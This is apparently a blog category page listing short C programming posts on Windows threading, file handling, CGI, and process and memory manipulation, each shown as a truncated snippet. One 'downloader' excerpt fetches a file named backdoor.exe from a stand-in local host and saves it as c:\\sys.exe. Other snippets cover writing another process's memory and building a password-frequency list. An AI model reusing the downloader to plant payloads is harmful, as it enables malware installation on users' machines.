C语言
文章平均质量分 64
liuguangsh
这个作者很懒,什么都没留下…
展开
-
使用链表管理内存
使用链表管理内存的使用,这儿重新定义了 malloc,realloc,free函数,使用了mymalloc,myrealloc,myfree自己重定义了函数mem.h#include#includevoid * mymalloc(size_t size);void *myrealloc(void *p, size_t size);void myfree(void *p)转载 2016-07-28 10:09:50 · 1874 阅读 · 0 评论 -
多线程
多线程:#include#include#include//创建线程 _beginthread() CreateThread().//内部结束线程:_endthread() ExitThread()、外部结束线程 TerminateThread()//冻结线程:SuspendThread(hd); 解冻线程 ResumeThread(hd); DWORD WINA转载 2016-08-02 14:47:00 · 273 阅读 · 0 评论 -
进程通信 - 信号量
//注意事项:另一进程意外终止,semaphore 不会接收。所以如果在进程通信最好用 互斥量 mutex. //这个缺陷同 event 事件机制一样。所以进程通信最好使用 互斥量 mutex。代码如下:代码一:#include#include#includechar name[100] = "shanghai";void main(){ //创建信号量,初始化可转载 2016-08-05 17:18:08 · 290 阅读 · 0 评论 -
多线程—临界区
多线程—临界区:解决多个线程同时防访一个变量的解决方法。#include#include#include//#define N 65 //临界区最多只能开辟 64 个线程#define N 64 int num = 0;CRITICAL_SECTION cs1;CRITICAL_SECTION cs2; //定义临界区,临界区是结构体DWORD WINAPI add转载 2016-08-02 16:36:49 · 368 阅读 · 0 评论 -
编码转换
如果使用CGI 从前台获到的字符串有时需要进行编码转换,下面就是对中文字符的编码进行转换。详见代码:%D6%D0%B9%FA:的中文编码为:中国#define _CRT_SECURE_NO_WARNINGS#include#include#includechar * chang(char *str){ char *tempstr = malloc(strlen(str转载 2016-08-29 10:45:52 · 479 阅读 · 1 评论 -
密码提取-排序
从文件文件中把密码提取出来,并进行排序。#define _CRT_SECURE_NO_WARNINGS#include#include#includechar path[50] = "e:\\ok.txt";char indexpath[50] = "e:\\index.txt";char sordpath[50] = "e:\\sort.txt";struct info转载 2016-09-09 09:40:04 · 548 阅读 · 0 评论 -
非缓冲文本操作
#define _CRT_SECURE_NO_WARNINGS#include#include#include#include //控制文件打开#include //系统底层//文件实时复制void main(){ char *path = "E:\\q1.txt"; char *pathnew = "c:\\newq.txt"; int pfr = _open(p转载 2016-08-29 12:13:51 · 430 阅读 · 0 评论 -
CGI相关知识
CGI的C语言代码里最好不要使用 syste("pause");这样的暂停语句,这里会导至网页无法往下运行下去。原创 2016-08-29 12:12:08 · 349 阅读 · 0 评论 -
定时器
/*用户感觉到软件的好用,就是可以定时地做一些工作,而不需要人参与进去。比如每天定时地升级病毒库,定时地下载电影,定时地更新游戏里的人物。要想 实现这些功能,就可以使用定时器的API函数CreateWaitableTimer和SetWaitableTimer来实现了,这对API函数创建的 时钟是比较精确的,可以达到100倍的10亿分之一秒。*/#include#include#i转载 2016-08-08 11:29:38 · 331 阅读 · 0 评论 -
CGI编程
CGI 可以执行 del mkdir ipconfig 这样的cmd 命令:////system(temp); //没有重定向,所以没有显示////char cmd[256] = { 0 };//sprintf(cmd, "%s>cmd.txt", temp); //打印到文件 cmd.txt中,然后再读出来即可。//system(cmd);#define _CRT_SECURE_转载 2016-08-29 17:42:24 · 396 阅读 · 0 评论 -
二进制文件排序及文件二分法查询
二进制文件排序,注意这个使用的场景: 如果文件较大,无法一次性读入到内存中,可以使用这样的排序法对文件进行排序,排序好的文件可以使用 文件二分查询法 对文件进行查询。 注意这儿的 文件二分查询法与普通 的 二分查询法的不同,这儿是操作的文件指针进行移动来查询。详见下面的代码:#define _CRT_SECURE_NO_WARNINGS#include#include#defi转载 2016-08-19 15:37:43 · 1783 阅读 · 0 评论 -
进程通信-事件机制
另一进程意外终止,event 事件机制不会接收。所以如果在进程通信最好用 互斥量 mutex.进程通信代码如下:代码一:#include#include#includechar name[256] = "shanghai";void main(){ HANDLE event = CreateEvent(NULL, TRUE, FALSE, name); //创建事件转载 2016-08-05 16:47:58 · 746 阅读 · 0 评论 -
多进程通信 互斥量
多进程通信:线程一代码:#include#include#includechar name[100] = "shanghai";void main(){ //互斥量在内核创建。 // 参数:1、指向安全属性的指针, //2、 初始化互斥对象的所有者,如创建进程希望立即拥有互斥体,则设为TRUE。一个互斥体同时只能由一个线程拥有 //3、 指向互斥对象名的指针 //一旦转载 2016-08-05 16:12:24 · 1488 阅读 · 0 评论 -
用链表摸拟栈
链式栈,用链表摸拟栈。stack.h#include#includestruct LinkStack{ int id; //编号 int data; //数值 struct LinkStack *pNext;};struct LinkStack *phead; //全局变量typedef struct LinkStack node, *PNODE;PNODE p转载 2016-07-28 12:07:49 · 353 阅读 · 0 评论 -
多线程-事件机制
多线程-事件机制:即线程B的启动需要等待线程A的某个信号,如果等待到信息则开始执行,代码如下,摘自《精通Windows API》 :/* *************************************《精通Windows API》 * 示例代码* Event.c* 7.2.1 演示使用Event同步线程********************************转载 2016-08-03 14:06:28 · 1970 阅读 · 0 评论 -
多线程-互斥量
多线程线程同步机制是为是各线程能够协同工作而设计的。Windows系统中有很多种机制可以用于线程同步,最常用的有下面几种:◇互斥对象( Mutex);◇ 事件对象(Event);◇信号量(Semaphore);◇ 临界区( critical section);◇ 可等待计时器(Waitable Timer)。下面的代码是互斥量代码的演示:#include#incl转载 2016-08-03 14:59:28 · 319 阅读 · 0 评论 -
多线程-原子操作
#include#include#includeint sum = 0;//多个线程同时访问(读、写)一个变量,就会发生冲突。//一个变量的线程安全:多个线程同时读写没有误差。//解决方法:临界区、事件机制、互斥量、原子操作//原子操作的 速度快于 临界区、事件机制、互斥量//原子操作函数,解决多线程安全DWORD WINAPI run(void *p){ for (in转载 2016-08-03 16:43:59 · 479 阅读 · 0 评论 -
多线程-定时器
这不是一个完整的例子:#include#include#include//单独定时器只能用于同步通信HANDLE timer;void main1(){ timer = CreateWaitableTimer(NULL, TRUE, NULL); //创建定时器 if (timer == NULL) { return 0; } else { LARGE_转载 2016-08-04 11:15:12 · 325 阅读 · 0 评论 -
内存数据查询
海量数据查询:由于要查询的数据较多,如果在磁盘上进行查询则速度较慢,这时可以把要查询的相关数据读到内存中,然后再进行查询。这儿是使用的把数据按行读入到内存中,然后在内存中进行查询。这儿需要注意的几个问题是开辟内存时的初始化工作,比如初始化 memset(g_bh, "\0", sizeof(char *)*NUM); //初始化时这儿不小心把 '\0' 写成了 "\0",结果造转载 2016-08-16 16:59:23 · 992 阅读 · 0 评论 -
多线程查询数据
多线程查询数据:此处主要是对内存与数据的联系的理解,如使用到的地二级指针#define _CRT_SECURE_NO_WARNINGS#include#include#include#include#include#define N 2027358char **g_bh;void init(char *path){ //初始化 printf("init sta转载 2016-08-16 17:14:49 · 2186 阅读 · 0 评论 -
线程-事件机制
一对一 模式:这里主要是对 createevent() 参数的设置有所了解。#include#include#include//互斥:解决线程冲突//事件:解决线程通信//临界区:解决线程冲突//定时器:解决同步线程HANDLE event[5] = { 0 };HANDLE thread[5] = { 5 };DWORD WINAPI aa(void *p){ i转载 2016-08-05 10:20:56 · 295 阅读 · 0 评论 -
多线程-信号量
//信号量:多个线程运行,其它等待。//利用信号量的这一特点,也可以让信号量只有1 ,则就实现了资源共享冲突的解决。#include#include#include//信号量一开始是 0 //这儿可以这样理解,像资源池一样。如果资源池开辟了5个,每个使用要使用时//就拿去一个,这时资源池就减少一个。如果资源池里的资源为 0 则没有资源可以//使用,而当使用者 使用完后归还给转载 2016-08-05 12:22:00 · 279 阅读 · 0 评论 -
多线程-互斥锁
#include#include#include//HANDLE mutex = NULL;SRWLOCK g_lock; //改变一个变量的时候需要锁定int num = 6400000;//在读期间,值一直在变化,没有锁定。DWORD WINAPI reada(void *p){ int i = 0; while (1) { Sleep(1000); pr转载 2016-08-05 15:07:05 · 425 阅读 · 0 评论 -
多线程多文件查询
多线程多文件查询所使用的场景:当要查询的内容存在多个文件中,如果一个个调用,比较麻烦,所以这时可以使用多线程多文件查询,让一个线程查询一个文件,这样就可以解决一次性查询多个文件的工作。如果要查询的文件较大,可以让线程一次只执行一部分,等当前线程查询结束时,清理此线程所占用的空间,然后再载入其它线程继续查询。本程序 查询了10个文件的,使用了10个线程,而一次加载10个文件到内存中,如果内存空间转载 2016-08-19 15:55:46 · 401 阅读 · 0 评论 -
文件操作
注意下面代码所产生的问题。这一段是读文件,没有什么问题。#define _CRT_SECURE_NO_WARNINGS#include#includevoid main(){ char *p = "I:\\文件字符读写\\1.txt"; FILE *pr = fopen(p,"r"); if (pr == NULL) { return; } while (!feo转载 2016-08-09 16:19:43 · 232 阅读 · 0 评论 -
文件-加密码
下面是段简单加密码代码:#define _CRT_SECURE_NO_WARNINGS#include#include//非密码加密码void jia(char *path, char *newpath){ FILE *pfr = fopen(path, "rb"); FILE *pfw = fopen(newpath, "wb"); if (pfr == NULL ||转载 2016-08-09 16:27:52 · 326 阅读 · 0 评论 -
多线程索引
/*多线程索引*/#define _CRT_SECURE_NO_WARNINGS#include#include#include#include#include#define LINE 13180806//获取文件有多少行int getLine(char *path){ printf("开始统计文件行数.....\n"); int sum = 0; FILE转载 2016-09-06 16:59:01 · 780 阅读 · 0 评论 -
跨函数传递数据
/*动态申请内存是在堆中完成的,而函数返回不会释放堆内存,但不要忘记函数返回时,栈内存中的内容会被自动清除,因此不要返回指向栈内存的指针。看下面的例子*/#include char * getString(){ //内存分配在栈上,系统自动回收。 char str[10] = "abcd"; //分配在堆上,要手动回收,可以跨函数传递数据 char *p = mall转载 2016-09-19 16:13:41 · 400 阅读 · 0 评论 -
C语言内置宏
#include#includevoid main(){ printf("代码在 %d 行\n", __LINE__); printf("代码编译的时间%s %s\n", __DATE__, __TIME__); printf("文件名 %s\n", __FILE__); printf("函数名%s\n", __FUNCTION__); system("pause");}转载 2016-09-07 13:58:00 · 936 阅读 · 0 评论 -
下载器
#include#include#pragma comment(lib,"Urlmon.lib") //连接库void main(){ //下载远程地址 //下载后的路径及名称 URLDownloadToFileA(NULL, "http://127.0.0.1//backdoor.exe", "c:\\sys.exe", 0, NULL); //下载完毕后转载 2016-09-07 14:28:11 · 307 阅读 · 0 评论 -
进程操作
进程操作/*进程操作: 1:显示系统运行的所有进程 2:以进程名删除进程 3:以进程ID删除进程*/#include#include#include#include//显示所有进程void showAll(){ PROCESSENTRY32 pe32 = { 0 }; //进程信息,初始化全部为 0 pe32.dwSize = sizeof(PROCESSENTR转载 2016-09-27 15:09:27 · 368 阅读 · 0 评论 -
直接修改内存数据
下面是修改进程的某片地址的数据:#include#include#include#include#define NAME "mspaint.exx" //要修改的进程名void read(){ HANDLE hpro = NULL; PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(pe32); HANDLE hpr转载 2016-09-27 16:53:19 · 7529 阅读 · 0 评论 -
文件夹浏览
下面是有问题的代码:/*有问题的程序,不能完成查询。如查询根目录时查询会出错。*/#define _CRT_SECURE_NO_WARNINGS#include#include#includevoid findFile(char *path){ char str[256] = { 0 }; sprintf(str, "%s\\*.*", path); BOOL原创 2016-09-28 21:53:12 · 368 阅读 · 0 评论 -
时间及使用
时间函数及使用:#define _CRT_SECURE_NO_WARNINGS#include#include#includevoid main(){ time_t now; struct tm *local; //时间结构体 now = time(NULL); //取得当前时间 printf("%d 秒。\n", now); printf("当前时间:%s\n", c转载 2016-09-30 10:26:45 · 290 阅读 · 0 评论 -
备忘录模式:记录并回放鼠标运动轨迹过程
放录并回放鼠标运动轨迹过程:#include#include#include/* 记录鼠标运动轨迹,并回放。*/void main(){ //可以使用数组或链表 POINT pxy[1000] = { 0 }; printf("记录鼠标坐标位置,按任意键开始记录......\n"); for (int i = 0; i < 1000; i++) { GetCu转载 2016-09-30 10:18:08 · 2572 阅读 · 0 评论 -
猴子选大王
/* 猴子选大王 思路:所有的猴子都设置为 1 ,删除掉的猴子设置为 0 ,则利用 j 的值来判断当前是否有猴子。*/#include#include#define N 5void show(int *p, int length){ for (int i = 0; i < N; i++) { printf("%4d", p[i]); } printf("\n");转载 2016-10-08 17:11:38 · 478 阅读 · 0 评论 -
文件映射内存
文件内存映射,也可以做为进程通信的一种方式,共享一片映射的空间,即可以达到共享数据的要求。/* 文件映射内存虚拟内存:把一个文件当做内存使用。如果系统文件中 pagefile.sys,操作系统把这个文件当做内存来操作这个是技术是把文件映射成内存。使用景场:如果一个文件很大,而所使用的电脑内存又不够,这时就可以使用此技术,把文件当成内存来操作。使用Mapping File提高文件读转载 2016-09-05 15:58:21 · 418 阅读 · 0 评论 -
密码库
生成密码库可以查询密码使用最多的字符串:思路:从文本文件中提取密码字符串,保存在链表中,链表有密码字段和密码出现次数的字段,当有新的密码出现就开辟一个新的空间,如果出现的密码在链表字段中,就把相应的密码次数加 1 。相应代码如下:密码.h#define _CRT_SECURE_NO_WARNINGS#include#include#includetypedef stru转载 2016-08-25 15:10:25 · 6672 阅读 · 1 评论 -
软件配制文件的读写
一般软件为了方便用户,会把一些信息写到用户电脑中,方便操作。比如QQ的自动登陆功能,点开QQ后,软件会自动读取配制文件中的用户信息,进行登陆。这儿就需要使用下面的一些函数:/* 配制文件信息的读写:比如记住登陆密码,显示器的分变率等....*/#include#include#includestruct info{ char name[100]; char pw[100]转载 2016-09-12 13:16:05 · 299 阅读 · 0 评论 -
获取文件大小及注意事项
#define _CRT_SECURE_NO_WARNINGS#include#include//文本文件 读取 \r\n -->\n 写入 \n -->\r\n 获取文件二进制大小,理论都是 rb//获取大小理论都用 rb int getfilesize(char *path){ int sum = 0; FILE *pfr = fopen(path, "rb");// i转载 2016-08-09 22:41:12 · 716 阅读 · 0 评论